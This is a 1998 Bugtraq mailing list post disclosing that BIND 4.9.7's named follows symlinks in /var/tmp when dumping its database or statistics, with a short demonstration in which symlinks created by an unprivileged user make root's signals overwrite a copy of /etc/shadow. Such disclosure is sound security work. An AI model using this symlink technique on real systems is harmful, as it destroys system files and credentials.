Bugtraq mailing list archives
BIND 4.9.7 named follows symlinks, clobbers anything.
From: joe () BLARG NET (Joe)
Date: Fri, 10 Apr 1998 13:29:20 -0700
[ Posted to BUGTRAQ and comp.protocols.dns.bind ] [ Standard apologies if this is already known - a search on the Bugtraq archive and Deja News comp.protocols.dns.bind doesn't indicate it.] The new named(8) happily follows symlinks and clobbers any file on the system when it receives a SIGINT. (Used for debugging and statistics gathering) SIGINT dumps the named database to /var/tmp/named_dump.db It will also happily append data to any system file when it receives a SIGIOT. SIGIOT appends named statistics to /var/tmp/named.stats. This problem is probably recursive to previous versions of named but since I've already replaced mine I can't confirm that. On Wed, 8 Apr 1998, Aleph One wrote: [Snippage of the latest CERT]
(Note: the in.named(8) man page mentions that sending a SIGINT to the in.named process will dump the current data base and cache to, by default, /var/tmp/named_dump.db. Some sites may find this useful in looking for self-referential CNAMEs. Please see the in.named(8) man page for further details.)
This caught my eye in that CERT advisory and after updating my BIND to the new 4.9.7 ( RedHat 4.2 Linux 2.0.30 i586 ) and reading through the named(8) man pages I ran a quick check. [root]# cp /etc/shadow /etc/junk.shadow [root]# ls -l /etc/junk.shadow -r-------- 1 root root 992 Apr 10 12:52 junk.shadow Now as a non-priv user.. [Luser]# ln -s /etc/junk.shadow /var/tmp/named_dump.db [Luser]# ln -s /etc/junk.shadow /var/tmp/named.stats [Luser]# logout (Now if ever root sends a SIGINT or SIGIOT /etc/junk.shadow is toast...) [root]# kill -SIGIOT [named.pid] [root]# ls -al /etc/junk.shadow -r-------- 1 root root 2251 Apr 10 13:00 /etc/junk.shadow [root]# less /etc/junk.shadow someusrr:[removed of course]:10311:-1:-1:-1:-1:-1:-1 nothrusr:[removed of course]:10316:-1:-1:-1:-1:-1:-1 +++ Statistics Dump +++ (892238406) Fri Apr 10 13:00:06 1998 2368 time since boot (secs) 2368 time since reset (secs) 0 Unknown query types <SNIP> The statistics dump gets appended to any file on the system. Now for the real horror - [root]# kill -SIGINT [named.pid] [root]# ls -l /etc/junk.shadow -r-------- 1 root root 5249 Apr 10 13:02 /etc/junk.shadow [root]# less /etc/junk.shadow ; Dumped at Fri Apr 10 13:02:40 1998 ;; ++zone table++ <SNIP> No trace of the original remains. Your shadow password file or anything else on the system is fried. Enjoy. -- Joe H. Technical Support General Support: support () blarg net Blarg! Online Services, Inc. Voice: 425/401-9821 or 888/66-BLARG http://www.blarg.net
Current thread:
- Re: QW server hole Chris Evans (Apr 07)
- smtp overflows Jon Beaton (Apr 08)
- Re: QW server hole Mike Hardy (Apr 08)
- Official SummerCon Announcement X (Apr 08)
- Sun Security Bulletin #00167 Aleph One (Apr 08)
- CA-98.05 Multiple Vulnerabilities in BIND Aleph One (Apr 08)
- BIND 4.9.7 named follows symlinks, clobbers anything. Joe (Apr 10)
- Re: BIND 4.9.7 named follows symlinks, clobbers anything. Mark.Andrews () CMIS CSIRO AU (Apr 11)
- Re: BIND 4.9.7 named follows symlinks, clobbers anything. Paul A Vixie (Apr 11)
- BIND 4.9.7 named follows symlinks, clobbers anything. Joe (Apr 10)
- BIND 8.1.2-T3B and BIND 4.9.7-T1B (fwd) Jared Mauch (Apr 08)
- Temporary fix for remote exploit in qwsv kevingeo () CRUZIO COM (Apr 09)
- Temporary fix for remote exploit in qwsv [fix] kevingeo () CRUZIO COM (Apr 09)